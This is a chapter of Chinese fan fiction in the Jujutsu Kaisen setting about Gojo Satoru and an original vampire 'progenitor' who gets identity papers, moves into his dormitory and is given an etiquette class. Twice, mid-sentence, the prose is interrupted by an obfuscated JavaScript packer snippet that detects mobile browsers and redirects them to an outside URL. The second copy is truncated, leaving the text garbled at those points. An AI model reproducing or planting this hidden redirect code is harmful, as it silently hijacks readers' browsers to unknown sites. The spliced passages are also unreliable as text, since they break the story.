“还是说——”绯月畏把手机反扣在桌上,发出一声轻响,“这所咒术界唯二的教育机构,其实并不需要那些‘世俗的资格认证’?所谓的咒术高专,只是一所……”她顿了顿,吐出四个字,“野鸡学校?” “当然不是!”五条悟一把抓过汽水,“呲啦”一声拧开瓶盖,橘子味的甜腻气息在空气中炸开,“最强的五条大人怎么可能没有资格?只是那些庸俗的普通人——”他灌了一大口,“——没能力评判本大人该拥有什么样的执照罢了!” 绯月畏放下茶杯。瓷器与木制茶几碰撞,发出一声清脆的“嗒”。 “所以你没有。”摈弃掉所有无用语句,绯月畏总结道,“不仅你没有,整个咒术界的教育机构,很可能都没有‘教师执照’这种东西。” “倒也不是……”五条悟讪笑,手指无意识地摩挲着汽水瓶身,“夜蛾校长好像考过,不过因为没参加后续考核,大概已经被吊销了吧……大概?” 他说这话时嘴角还挂着笑,但墨镜下的视线已经转向绯月畏。他在观察她的反应。 绯月畏看着面前这个号称“最强”的白发男人,咒术界都是一群法外狂徒,眼前这个人或许有原则和底线,但是他的原则和底线依旧凌驾在“咒术界高于普通人世界”的默认法则之上。 在经历过被监控器追踪并锁定行踪的事件之后,绯月畏或许是因为个人所受教育经历、也或许是因为在咒术界之前,她先深入了解了普通人的世界,绯月畏垂眸看了一眼茶几上的手机,她没有术师就比普通人高贵的想法,当然,或许是因为在骨子里,她本就从未将自己代入过“人类”这个孱弱的物种当中。血族凌驾于整体人类之上。至于下位的人类自己内部分出了什么三六九等,在他们眼里就像小孩子过家家一样的玩笑。 绯月畏抬手从五条悟面前的一堆零食里抽出一袋棉花糖,拿在手里观察着,眼神却有些发散。五条悟侧了下头,手上撕薯片袋的动作顿了下,随即若无其事地继续着。 绯月畏没有反应。她只是静静地看着他,那目光透过深色墨镜,依然带着一种令人不适的穿透感。良久,她轻轻摇头,发出一声极轻的叹息。 那叹息里没有失望,没有愤怒,只有一种……近乎怜悯的了然。 “咒术师生活在普通人的世界里。”她开口,声音很轻,却像冰锥般锋利,“享受着他们创造的一切——电力、网络、交通、医疗、甚至你们身上这件制服的面料,都来自普通人建立的生产体系。” 五条悟脸上的笑容淡了些。 “然后你们转过身,用一套自创的规则将自己与他们割裂,在宪法之上建造另一个世界,告诉自己:‘我们更高贵’。”绯月畏的指尖在茶几上轻轻敲击,那节奏平稳得像心跳,“真是……” 她顿了顿,似乎在寻找合适的词汇。 “可笑。” 五条悟放下了汽水瓶。塑料瓶底与桌面碰撞,发出一声闷响。 “我们在保护他们。”他说,语气依旧轻松,但脊背已经微微挺直,“用生命祓除咒灵,维持两个世界的平衡。这难道不值得一点‘特权’?”五条悟不觉得绯月畏说的有问题,这个没有问题指的不是绯月畏的不以为意甚至冷嘲热讽,而是对于咒术师高于普通人这句话在他看来没有问题。 “保护?”将棉花糖丢回茶几上,绯月畏忽然侧着头笑了。 那笑容很淡,几乎只是嘴角的一丝弧度,却让五条悟莫名感到一阵寒意。白色的头发从耳边垂落,身后阳光照过来,将她身上照得发光。她摘下墨镜,猩红的眼眸在室内光线中呈现出一种奇异的质感——像凝固的血,又像深埋地底的红宝石,美丽而冰冷。 “所以我觉得你们可笑。”她说。 “神明之所以因庇护凡人而受到供奉和敬仰,是因为祂本就不食人间五谷,不必尝人间疾苦,所以他的垂青被称之为‘善’。”她的声音更冷了,“咒术师呢?你们吃着普通人种出的米,穿着普通人织出的布,拿着普通人支付的报酬,然后告诉自己:‘我在施恩’。” 她倾身向前,白发从肩头滑落,在光线下几乎透明。 “这是一场交易,五条悟。一场再公平不过的交易。普通人用金钱和容忍,换取你们作为‘清道夫’的服务。没有谁欠谁,没有谁更高贵。你们所谓的‘特权’,不过是这场交易中,你们为自己争取的……溢价。” 她重新靠回沙发,戴上墨镜。 “而最可笑的是,你们竟然真的相信了自己编造的故事。” 房间里陷入死寂。 五条悟一动不动地坐着。良久,他忽然大笑起来。 不是平时那种夸张的、充满表演性质的笑,而是一种从胸腔深处涌出的、近乎失控的大笑。他笑得捂住肚子,笑得倒在身后的床脚,笑得眼泪都从墨镜边缘渗出。 绯月畏沉默以对,还转过身拉了个窗帘挡住了阳光。 “哈哈哈……我该录下来的……”他边笑边捶床,“真该录下来,下次见到杰的时候放给他听……他那套‘正论’,在你这里简直像个笑话……” 绯月畏静静地看着他。等他笑够了,喘着气坐回沙发,她才开口: “‘杰’?你的那位诅咒师好友?” 五条悟的笑声戛然而止。 “我好像没跟你提过他。”他慢慢摘下墨镜,苍蓝的六眼完全睁开,里面没有笑意,只有冰冷的审视,“你为什么认为他是我的‘好友’?” “因为在明知他已成杀人如麻的诅咒师后——”绯月畏迎上他的目光,猩红的眼眸与苍蓝的眼眸在空气中相撞,“——你仍然想拉他回头。这不是好友,难不成是……” 她故意停顿。 “心上人?” 五条悟的嘴角抽搐了一下。他没有回答,只是重新戴回墨镜,拿起已经温掉的汽水灌了一大口。 “他是我的挚友。”他说,声音有些闷。 “喔!真稀奇啊,实力至上的五条悟也会有挚友这种东西?”绯月畏的话听起来像是在讥讽,“是因为同为特级才被你看见了吗?” “我如果不是最强你会看见我吗?”五条悟反唇相讥。 他们是同类。 “笃笃。” 绯月畏用指尖敲了敲茶几。 “先把你的挚友从脑子里暂时挪开。”她说,“联系你的家族,我要一套完整的身份证明,以及——” 她顿了顿,一字一句: “一张教师资格证。” “嗯?”五条悟一把搂过茶几上剩余的零食袋子,歪着头看向绯月畏,“你想当老师?” “不,”绯月畏矢口否认,“我并不想当老师。” 她看着五条悟,墨镜后的目光锐利如刀。 “是你想让我留在咒高。准确地说,是在你确认我‘无害’之前,把我放在你眼皮底下——不是吗?” 五条悟咧开嘴,露出一个灿烂到虚假的笑容。 “你的好弟弟对你又爱又恨,不是没理由的。” “所以他死了。”绯月畏抬手,食指缓缓伸出。指甲在灯光下泛着冷白的光,然后——开始生长。不是快速延伸,而是一种缓慢的、令人毛骨悚然的伸长过程,最终停在离五条悟脸颊一寸的位置,尖锐如刀锋。 “认不清自己位置的人,在我这里没有存在的必要。” 五条悟没有动。24h开启的无下限术式致使那截指甲停在无限趋近却永不可及的位置。他依然在笑,笑容却冷了下来。 “绯月长老这是在威胁你的家主?” 绯月畏收回手。指甲缩回原状,仿佛刚才的一切只是幻觉。她端起已经凉透的红茶,一饮而尽,杯底与托盘碰撞,发出清脆的碎裂般的声响。 “那五条家主把我带到你的卧室——”她放下茶杯,声音平静得像在讨论天气,“——而不是即将作为我临时居所的‘客房’。我是不是可以认为,五条家主抱着某些下流的念头,试图将一位女士骗回房间,进行某种……人类特有的繁衍行为?” 五条悟的笑容僵住了。 “那倒不是。”他矢口否认,抬手挠了挠后脑勺,动作罕见地有些僵硬,“我带你走到宿舍才想起来,高专没有专门的客房。就算有,也没提前布置。” 他顿了顿,忽然又笑起来,那笑容里多了几分狡黠。 “不过你倒是给我出了个好主意。作为还没正式‘考察合格’的野生特级,绯月小姐以后就跟我一起住吧?我想你应该不会介意和最强的我共处一室,对吧?” “我如果介意呢?”绯月畏淡淡地问。 五条悟抬手指向墙壁,“那我给你打通隔壁,做你的卧室。” 绯月畏也抬起手,指尖点了点同一面墙。 “打通吧。毕竟那会是五条老师以后的住处了。” 五条悟:“……诶?” 五分钟后,男生宿舍传来一声巨响。 正在校长室戳羊毛毡的夜蛾正道手一抖,针尖扎进了手指。他叹了口气,放下手中的小动物,起身走向宿舍楼。 该来的总会来。 但是等他走到五条悟的宿舍门口,看见的是大开的房门,以及门内堪称荒唐的景象—— 绯月畏戴着墨镜,跷着腿坐在五条悟的床上,手里捏着一颗棉花糖,正慢条斯理地撕开包装纸。而五条悟本人,正抱着一箱CD,骂骂咧咧地往隔壁房间搬。原本的墙壁上,多了一个边缘整齐、仿佛被激光切割出的大洞。 本来在五条悟毕业后,他就打通了一间隔壁用来做客厅,强行扩大了自己宿舍的面积。现在又一间隔壁被打通了……夜蛾抬起头,看了看天花板。他开始认真考虑,要不要给这间宿舍加装支撑结构。 “悟。”他开口,声音里满是疲惫,“你在干什么?” 五条悟从隔壁探出头:“夜蛾你终于老花眼了吗?我当然是在搬东西啊!” “所以你又打通一间干什么?你住得好好的——” “因为现在这间房易主了。”五条悟手上一箱看封面就不太青少年的书籍搬进隔壁空荡荡的地面放好,转身指向床上吃着他的零食还霸占了他的大床的绯月畏,语气欢快得像在介绍新买的家具,“介绍一下,新房客。” 夜蛾深吸一口气,转向绯月畏。 “绯月小姐。”他尽量让声音保持平稳,“这里是‘男生’宿舍。” 绯月畏捻棉花糖的动作一顿。她看了看门口一脸无辜的五条悟,又看了看夜蛾,然后—— “五条悟带我来的。”她平静地说,“我以为这里是教师宿舍。” 夜蛾张嘴想说什么,绯月畏已经继续说了下去。 “作为咒术界唯二的教育机构之一,东京咒高居然没有专门的教职工宿舍?而是让老师和学生挤在同一栋楼里?”她微微歪头,那姿态优雅却带着致命的嘲讽,“贵校的资金已经窘迫到这种地步了?还是说……” 她顿了顿,吐出更致命的话。 “咒术界连教师的工资都会拖欠?” 夜蛾被噎住了。 “不!没有这种事!也不会发生这种事!” 五条悟靠在墙洞边,抱着手臂,肩膀已经开始抖动。他在憋笑。 绯月畏放下腿,站起身,手里的棉花糖包装纸飘然落地。 “那麻烦夜蛾校长带我去看看教师宿舍吧。”她说,语气理所当然得像在要求应得的权利。 夜蛾沉默了。 那一瞬间的静默,比任何回答都更有说服力。绯月畏停下脚步,抬头看了看笑得浑身发抖的五条悟,又看向门口僵硬的夜蛾正道。 “高专有教师宿舍吗?”她问。 “没有呢。”五条悟抢答,声音里满是幸灾乐祸,“本来老师就少,学生最多的时候也不超过五个,哪需要专门的教师宿舍?学校只有男女生宿舍,没有教职工宿舍哦~” 夜蛾狠狠瞪了五条悟一眼,再看向绯月畏时,底气已经泄了大半。 “我可以带绯月小姐去女生宿舍。”他说,“宿舍一楼有几间空房,本来是预留给女性教职工的……” “就这里吧。”绯月畏打断他,倒退两步,重新坐回床上。那姿态,像狮子回到自己的领地。 “男女有别,这不太合适……” 绯月畏抬眸,透过墨镜看向夜蛾。那一瞬间,夜蛾感到一阵莫名的寒意。 “我看过你们日本医学界的发展。”绯月畏忽然说,话题跳转得令人措手不及,“变性手术的技术已经相当成熟。” 夜蛾和五条悟都愣住了。 “你可以考虑把五条悟变成女性。”绯月畏继续说,语气平静得像在讨论早餐吃什么,“这样就不用担心‘男女有别’了。” 五条悟脸上的笑容彻底消失了。 夜蛾的眼镜滑到了鼻尖。 送走夜蛾校长回到房间以后,五条悟抱着质疑的心态打开了自己房间的电脑,然后看到了不属于自己的几条浏览记录——关于日本医学发展史和最新发布的各项学术论文……她什么时候?! 这天下午,绯月畏所在的房间里,失去了除她自己的手机以外所有的电子产品,要不是考虑到手机需要充电,五条悟险些连插座都一道拆走。 为了防止绯月畏继续用那些“不重要但危险”的知识污染大脑,五条悟决定给她找点正事做。 于是五条家长老团收到了家主的夺命连环催:立刻、马上、现在就把绯月畏的身份证明办下来! 问题是,除了一个名字,他们对这位新长老一无所知。性别?年龄?长相?一概不知。长老们急得团团转,最后决定——派人去高专,当面问清楚。 第二天早晨,五条悟刚结束一个夜间任务回到高专,手机就震了起来。是大长老:户籍科的工作人员已经到了校门口,需要当面录入绯月畏的资料。 五条悟打了个哈欠,晃晃悠悠走到校门口,接了三位脸色凝重的人——两名户籍科工作人员,以及五条家的一位长老。 “家主。”长老躬身行礼,目光却忍不住往五条悟身后瞟,仿佛在寻找什么隐藏的人物。 “走吧。”五条悟摆摆手,带着三人往宿舍楼走。 路上遇到了正准备去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485856|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食堂的秤金次。黑发少年看了五条悟一眼,又看了看他身后三个穿着正式、表情严肃的人,翻了个白眼,转身走了。 五条悟也不在意,走到自己宿舍门口,抬手——敲了敲自己的房门。 他敲响了自己的房门? 这个动作让身后的三人都愣住了。他们的目光齐刷刷落在门牌上:“五条悟”。然后又看向五条悟本人,表情变得极其精彩。 尤其是五条家的长老,那张脸简直像打翻了调色盘,震惊、困惑、担忧、还有一丝不易察觉的……恍然大悟? 房门开了。 一位白发披肩的女性站在门内。屋内估计没拉窗帘,昏暗到遮住了她的眉眼,身上穿着明显过于宽大的深色睡衣,领口松松垮垮,露出一截苍白的锁骨。睡眼惺忪,却依然带着某种令人不敢直视的气场。 她扫了一眼门外的人,目光在五条悟手中的几个袋子上停留片刻——那是他顺路从快递点取回来的,绯月畏网购的衣服。 “你的。”五条悟把袋子递过去。 绯月畏接过袋子,什么也没说,转身进了房间。门没关。 五条悟带着三人走进客厅。动作熟练地先走过去拉开窗帘,让晨光投进屋子里。 房间很干净,干净得几乎没有人气——如果忽略沙发上随意扔着的几本书,以及茶几上那杯喝了一半的红茶。 “坐。”五条悟指了指沙发,自己则盘腿坐在地毯上,打开刚从便利店买来的甜点盒,开始大快朵颐。 三个人如坐针毡。尤其是五条家的长老,目光在房间里四处逡巡,试图找出什么能解释现状的线索。他的视线扫过紧闭的卧室门,扫过茶几上那杯明显不是五条悟会喝的红茶,最后落在五条悟身上——这位家主正毫无形象地吃着泡芙,奶油沾到了嘴角。 长老的额头开始冒汗。 几分钟后,卧室门开了。绯月畏走了出来。 她换上了一套简单的白色衬衫和黑色长裤,头发随意扎在脑后,脸上戴着那副标志性的墨镜。整个人清爽利落,与刚才睡眼惺忪的样子判若两人。 她在沙发上坐下,位置正好是五条悟对面。五条悟顺手递过去一个小蛋糕。 绯月畏接过来,低头看了看,又放回茶几上。五条悟自然地捞过去,塞进自己嘴里。 整个过程流畅得仿佛演练过无数遍。 户籍科的工作人员看呆了。他们看看绯月畏,又看看五条悟,最后看向五条家长老,眼神里写满了“这什么情况”。 五条悟咽下蛋糕,拍了拍手上的碎屑。 “看我干什么?”他不耐烦地说,“不是要登记吗?我还要上课呢,搞快点。” 工作人员如梦初醒,慌忙从公文包里取出表格和笔,结果手忙脚乱地递到了五条悟的面前。 五条悟“啧”了一声,随后一脸不耐地接过表格,按在茶几上,看也不看就开始填。姓名:绯月畏。性别:女。户籍地址…… 他写下了“京都府京都市左京区五条家”。 长老的呼吸一滞。 出生日期那栏,五条悟顿了顿,回头看向绯月畏:“你生日哪天?” “没有那种东西。”绯月畏支着下巴,语气慵懒,“随便填。” 五条悟转回头,笔尖悬空片刻,然后写下了一串数字——和他自己的生日同月同日,年份上写小了两岁。 长老的冷汗已经浸湿了内衬。他太熟悉这个日期了。这根本就是五条悟自己的资料,只改了名字和性别! 这位“绯月长老”,到底是什么人?为什么家主要如此掩饰她的身份?甚至不惜把她直接挂进五条家的户籍? 工作人员接过填好的表格,仔细核对。他们的表情也很微妙,但没人敢多问。在咒术界,五条悟的名字就是通行证,他说什么就是什么。 “好、好的。”年长的工作人员擦了擦汗,“我们会尽快办理。身份证、护照、健康保险证……大概需要一周时间。” “三天。”五条悟说。 “可、可是流程——” “三天。”五条悟重复,声音很轻,却带着不容置疑的重量,“需要我亲自去催吗?” 工作人员连连摇头:“不不不,三天,三天一定办好!” 他们几乎是逃也似的离开了。 房间里只剩下五条悟、绯月畏,以及那位已经汗流浃背的长老。 长老深吸一口气,决定问清楚。他必须知道,这位突然出现的女性,到底会对五条家产生什么样的影响。 “家主。”他开口,声音有些干涩,“关于这位新的长老……” 五条悟正拿起最后一个泡芙,闻言抬了抬眼。 “她就是。”他用泡芙指了指绯月畏,“记住这张脸。以后怎么对我的,就怎么对她。谁要是怠慢了——” 他咬了一口泡芙,奶油溢了出来。 “别怪我不客气。” 长老的心沉了下去。这种形似“大哥罩着”的说法不仅没让他安心,反而让他更加恐慌。拢在袖子里的手微微颤抖,很是想来杆旱烟冷静冷静! 他看向绯月畏,目光里带着审视、担忧,还有一丝不易察觉的敌意。 然后,他看见绯月畏摘下了墨镜。 猩红的眼眸发着光,在室内光线下呈现出一种非人的质感。那不是人类该有的眼睛,美丽、冰冷、空洞,像两颗镶嵌在苍白面孔上的宝石。当那双眼眸看向他时,长老感到一阵刺骨的寒意从脊椎窜起。 那是猎食者的目光。 是对蝼蚁的俯视。 像极了幼年时期那个锋芒毕露的神子大人。 绯月畏重新戴上墨镜。但那一瞬间的恐惧,已经深深烙进了长老的骨髓。他低下头,不敢再看。 “这位是绯月畏。”五条悟的声音响起,平静得可怕,“虽然没有正式评级,但她是货真价实的特级咒术师。现在是五条家的长老。她不参与家族运作,只享有家主同等待遇。” 他顿了顿,咬下最后一口泡芙。 “别挑衅她。否则我不会去收尸。” 长老的身体在颤抖。不是因为愤怒,而是因为恐惧。他终于明白,为什么家主会如此纵容这个女人,为什么宁愿修改家族户籍也要把她留在身边。 这不是盟友。 这是一头被请进家门的猛兽。 “我讨厌有人直视我。”绯月畏忽然开口,声音冰冷,“再有下次,你的眼珠就自己吃下去。” 长老深深俯身,额头几乎触地。 “是。”他的声音在发抖,“绯月大人。” “尽快把我的身份证明送来。”绯月畏继续说,语气像在吩咐仆人,“我就住这里。证明下来后,给我办一张教师执照——正规的那种。我会暂时留在咒高,但不入职。总监部那边的苍蝇,你们想办法清理干净。一只蚊子都别让我看见。” 她顿了顿,补充道。 “包括五条家的人。” 长老小心地看向五条悟。家主正舔着手指上的奶油,对此毫无反应,仿佛绯月畏的话理所当然。 “是。”长老再次俯身,“我明白了。” 他几乎是倒退着离开房间的。直到走出宿舍楼,站在阳光下,他才长长吐出一口气,发现自己背后的衣服已经湿透。 房间里,五条悟吃完了所有甜点,满足地拍了拍肚子。 “你该去上课了。”绯月畏说,“五条老师。” 五条悟看了眼时间——上课时间已经过去二十分钟。 “迟到啦……”他毫无愧疚地站起来,走到门口时又回头,指着茶几上的零食,“不许偷吃我的东西!” “不稀罕。”绯月畏淡淡地说,“滚。” 五条悟笑着滚了。 房门关上。绯月畏站起身走到窗边,看了一眼窗外雾蒙蒙的景色,抬手把窗帘拉拢,室内陷入昏暗。 她走回沙发边,看了一眼沙发上散落的毯子,随手扯过来盖在身上,在沙发上躺下。 她讨厌太阳。 9. 没有学生的课堂 当那本墨绿色封面的教师资格证被送到高专时,五条悟的反应堪称戏剧。 他捏着那本薄薄的证书,翻来覆去地看了三遍,指尖摩挲过烫金的“文部科学省”印章,嘴角的弧度越咧越大。然后——他一把拽住正在窗帘后面躲太阳的绯月畏,不由分说地拉着她穿过走廊,闯进校长室,将证件“啪”地拍在夜蛾正道的办公桌上。 “夜蛾校长——”五条悟的声音里满是夸张的欣喜,“我们高专终于有一个‘持证上岗’的正规教师了!” 夜蛾从堆积如山的文件中抬起头,目光先落在教师资格证上,又转向五条悟身后——绯月畏正慢条斯理地整理着被扯皱的袖口,墨镜下的表情看不真切,但那微微抿起的唇角,透露着一丝不易察觉的不耐。 “所以呢?”夜蛾摘下眼镜,揉了揉眉心。 “所以给她排课啊!”五条悟双手撑在桌面上,身体前倾,那姿态不像提议,更像宣告,“正好我这几天任务多,让她代我的课——” “不行。”夜蛾打断他,语气斩钉截铁。 五条悟的笑容僵了一瞬。 “悟,你很清楚为什么不行。”夜蛾重新戴上眼镜,目光锐利,“绯月小姐的实力和你同级别,这意味着她的授课内容、教学方式,甚至课堂上的每一句话,都可能超出‘教学’的范畴。在没有充分评估之前,我不能让她直接接触学生——尤其是你的学生。” 房间里安静了几秒。 五条悟直起身,双手插回裤袋。他没有反驳,只是歪了歪头,墨镜后的视线在夜蛾和绯月畏之间转了转,然后—— “那就开一门新课。”他说,语气轻松得像在决定午餐吃什么,“礼仪课怎么样?插花、茶道、社交礼仪……这些东西总不会‘超出范畴’吧?” 夜蛾愣住了。他看向绯月畏——那位白发女性依然站在窗边,阳光勾勒出她修长的身形,白色衬衫的袖口一丝不苟地扣到腕部,站姿挺拔如竹。即使只是静立,她周身也散发着一种与生俱来的、属于古老世家的矜贵与疏离。 礼仪课。夜蛾在心里咀嚼这三个字。 咒术高专需要礼仪课吗?一群每天都在生死线上挣扎的术师,需要学习如何品茶、如何插花、如何在宴会上优雅地交谈吗? 但夜蛾看着绯月畏,又不得不承认——如果要教这些,整个咒术界恐怕找不出比她更合适的人选。那种浸润在骨子里的仪态,不是能教出来的,只能是千百年时光打磨出的沉淀。 “可以。”夜蛾最终点头,“但课程内容需要报备,教案需要审核。” “没问题!”五条悟笑得灿烂,转身拍了拍绯月畏的肩膀,“绯月老师,好好备课哦——” 他的手在触碰到她肩膀的前一刻,被绯月畏侧身避开。那动作轻巧自然,却带着明确的拒绝意味。五条悟的手在空中顿了一下,若无其事地收回。 “教案?”绯月畏终于开口,声音平静,“教什么?” 五条悟眼睛一亮。 三天后,夜蛾正道看着办公桌上那本崭新的备课本,陷入了长久的沉默。 封面上用非常漂亮的汉字写着“礼仪课教案”,翻开内页,第一课标题:《优雅表达情绪的艺术》。 下面列着三部分内容: 一、如何在不使用脏字的情况下,精准表达对他人智商、人格及血缘关系的关切。 二、如何在社交场合中,用隐喻和典故暗示对方应当远离自己的视线范围。 三、实战演练:结合前两者,构建一段逻辑严密、措辞优雅、杀伤力十足的对话。 每一部分都附有详细案例。夜蛾越看,额角的青筋跳得越厉害。 案例一:“听闻令尊当年曾致力于生物多样性研究,今日得见阁下,方知令尊成果斐然。” 案例二:“您的存在,令我深刻理解了‘进化树上总有几个分叉没长好’这句话的生物学意义。” 案例三:“我建议您重新投胎,不是质疑您此生的表现,只是觉得以您的天赋,或许换个赛道会更适合。” 夜蛾“啪”地合上备课本。 十分钟后,五条悟揉着脑袋走进校医室,一屁股躺在家入硝子唯一空着的那张解剖床上,大声抱怨:“夜蛾好过分!他居然打我!那教案明明是绯月写的,为什么挨揍的是我?!” 家入硝子正对着显微镜观察样本,头也不抬:“你就没有想过,你的狗爬字夜蛾校长看了多少年了,难道会认不出来吗?” 五条悟的抱怨卡在了喉咙里。 “哦。”他悻悻地应了一声,翻了个身,面朝天花板,“硝子,你说夜蛾是不是更年期了?我只是想让礼仪课更‘实用’一点——” “你说的那位‘绯月’,”家入硝子终于抬起头,从白大褂口袋里摸出烟盒,抽出一支夹在指尖,“就是最近传闻里,被你‘金屋藏娇’的那位?” 五条悟猛地坐起来。 “我那是‘藏’吗?”他抗议,“我那是光明正大地——” 话说到一半,他顿住了。因为家入硝子的表情告诉他,她抓住了重点。 “所以,”家入硝子点燃烟,深深吸了一口,烟雾模糊了她的表情,“你寝室里真的有人。而且就是这位新来的‘礼仪老师’。” 五条悟重新躺回去,双手枕在脑后。 “是又怎样?”他的声音里没了之前的轻快,多了一丝罕见的、属于“五条家主”的冷硬,“绯月畏,特级实力,目前挂名在五条家。很危险,硝子你离她远点。” “特级……”家入硝子重复这个词,弹了弹烟灰,“高专需要礼仪老师吗?” “需不需要不重要。”五条悟说,眼睛盯着天花板上的灯管,“重要的是,她需要留在高专,留在我的视线范围内。而上什么课,只是给她一个留下的理由。” 家入硝子沉默了几秒。 “什么时候能见见?”她问,语气里带着医者特有的、对未知事物的探究欲。 话音刚落,五条悟猛地坐起身,转头看向门口。家入硝子怔了下,随即跟着转头看过去,后知后觉地意识到,门外,是不是太安静了? 门被推开了。 白发女性站在门口,白衬衫,黑长裤,墨镜遮住了半张脸。她手里拿着一卷绷带,目光先落在五条悟身上,然后转向家入硝子。 “在背后这么议论一位女士,”绯月畏走进来,声音平静得像结冰的湖面,“五条老师,您的礼仪课可能需要回炉重造。” 五条悟和绯月畏都很清楚,对方就是半点不在乎别人背后怎么说自己的那种人,但是前提是——别让本人听到! 五条悟跳下床,脸上重新挂起那种玩世不恭的笑容。 “被听到了呢……”他摊手,毫无愧意,“正好训练室刚建好,要去试试吗?绯月老师?” 绯月畏没有理会他的挑衅。她的视线停留在家入硝子身上,哪怕对方戴着墨镜,家入硝子依然感到一种被完全看透的不适感——那不是审视,而是某种更高维度的观察,像人类观察显微镜下的细胞。 “原来如此。”绯月畏忽然开口,唇角勾起一丝若有若无的弧度,“这才是你的‘心上人’。” 五条悟的笑容僵住了。 家入硝子后退半步,背抵在墙上,手里的烟差点掉在地上。 “虽然不知道您是谁,”她稳住声音,尽可能保持冷静,“但您的说法,成功恶心到我了。” “哈?”五条悟猛地转头,表情夸张,“硝子你什么意思?你嫌弃我?我哪里不够好吗?不够强吗?不够——” “闭嘴。”家入硝子打断他,目光依然盯着绯月畏,“咒术界最强,认的是你的实力,不是你的情商。” “怎么会?” 绯月畏轻笑着出口驳回,那笑声很轻,却让室内的温度又降了几度,“这情商不是挺好吗?” 她向前走了一步。五条悟几乎同时侧身,挡在了她和家入硝子之间。那动作很自然,像是随意调整站姿,但家入硝子清楚地看到,在那一瞬间,五条悟周身咒力流转的速度快了十倍。 无声的警告。 绯月畏停下脚步。她看了看五条悟,又看了看他身后的家入硝子,然后—— “还知道围魏救赵,转移重点。”她的声音里带着一丝赞赏,却冰冷得刺骨,“用来保护重要的人,不是吗?” 她转身,走出医务室。在门口,她抬手向后一抛,一个白色纸包划过弧线,被五条悟稳稳接住。 “新到的绷带。”她的声音从走廊传来,“省着点用,五条老师。” 脚步声远去。 医务室里,沉默弥漫了整整一分钟。 家入硝子缓缓吐出一口烟,走到五条悟身边,看向他手中的纸包——确实是医用绷带,品牌还是她常用的那种。 “她就是绯月畏?”她问。 “嗯。”五条悟把绷带扔到一旁的架子上,动作有些重。 “你刚才……”家入硝子斟酌着用词,“很紧张。” 五条悟没有否认。他走到窗边,看着那道白色身影穿过庭院,消失在教学楼方向。 “她进门的时候,”家入硝子继续说,声音很轻,“给我的感觉,很像当年在高专第一次见到你的时候。那种……‘非人’的气场。” 五条悟沉默着。 “但她比你更……”家入硝子寻找合适的词汇,“更冷。你看人的时候,至少还带着‘人类在看人类’的温度。她看我的时候,像在看一件物品。或者说,一件……标本。” 作为在咒术界摸爬滚打的反转术式拥有者,又有着两个特级作为同期的家入硝子,也不是什么人都能给她带来这种毛骨悚然的感觉的。起码夜蛾校长是没有的。 五条悟终于开口。 “硝子。”他说,声音低沉,“离她远点。这不是建议,是警告。” 家入硝子掐灭烟蒂。 “知道了。”她说,“你赶紧滚吧,我还要工作。” 走在校园内部的绯月畏踩着树荫走着,头顶越发火辣的太阳象征着春日正在走向初夏的过程。前方传来脚步声,绯月畏停在树荫下,抬头看去,前方是教学楼的位置。哦对,五条悟现在是不是应该在上课来着? 绯月畏顺手折了枝花苞半开的樱花捏在手上,倒是很新奇,她自己没当过一天的学生,直接就成为了老师,不过是人类的老师。 教什么东西?礼仪? 她觉得五条悟那个教学生“如何优雅地表达问候别人全家的意思”的想法很不错,于是采取了才会送到夜蛾校长那里,既然没有来找她修改,那就是也认可的意思,那这就是她第一节课要教学生的东西了? 绯月畏想起刚刚在医务室内看到五条悟的时候,那一身的锋锐开始一点都没有收敛的意思,像是领地被入侵的大型猛兽一样死死“盯”着她呢! 小心眼的最强,幼稚。 指尖点在枝头,手上的樱花渐次开放。绯月畏低头浅嗅花香,眉眼含笑。 更有意思了不是吗? 一个有明确软肋的最强,听起来多有意思! 绯月畏心情甚好地捏着一枝樱花回了宿舍,将花枝留在了客厅的茶几上,随后洗了个澡,回卧室睡觉去了。 下午两点,礼仪课教室。 绯月畏站在讲台上,看着空无一人的教室。 阳光透过窗户洒进来,在木质地板上切割出明亮的光斑。讲台上放着一个玻璃瓶,里面插着一枝樱花——是夜蛾放的。花瓣在阳光下近乎透明。 她走到窗边,看向外面的操场。五条悟正在那里,身边跟着秤金次和星绮罗罗。黑发少年一脸不耐烦,粉发少女则好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没有等。翻开书页,开始阅读。灯光在她苍白的脸上投下淡淡的阴影,墨镜被放在一旁,猩红的眼眸在文字间缓缓移动。 八点,教室门被推开。 五条悟站在门口,手里拎着一个纸袋,里面散发出甜腻的香气。他看到教室里的灯光,看到讲台后的绯月畏,脸上的笑容顿了一下。 “哟,绯月老师还在备课?”他走进来,把纸袋放在讲台上,“给你带了喜久福,毛豆生奶油味的——” “出去。”绯月畏头也不抬。 五条悟的笑容淡了些。 “今天的事,我道歉。”他说,语气难得正经,“任务确实紧急,总监部那些老家伙——” “我说,出去。”绯月畏终于抬起头,猩红的眼眸在灯光下冰冷如血,“还是说,五条老师想当我的第一个学生,学习一下……如何‘优雅地表达情绪’?” 五条悟沉默了几秒。他看着她,六眼透过墨镜,试图解析她的情绪——愤怒?不。不满?不。那是一种更深层的、近乎漠然的…… 倦怠。 对他这些小把戏的倦怠。 五条悟忽然笑了。不是平时那种夸张的笑,而是一种棋手看到对手走出意料之外一步时的、带着兴奋和警惕的笑。 “好啊。”他说,拉过一把椅子坐下,长腿交叠,“那绯月老师教我吧。第一课,教什么?” 绯月畏合上书。古籍厚重的封面在桌面上发出一声闷响。 “第一课,”她说,声音在空旷的教室里回荡,“教你怎么分辨——” 她顿了顿,猩红的眼眸锁定五条悟。 “——什么是试探,什么是挑衅,以及……” 她站起身,走到窗边,推开窗户。夜风涌入,吹动她白色的长发。 “挑衅一位始祖,需要付出什么样的代价。” 五条悟脸上的笑容完全消失了。 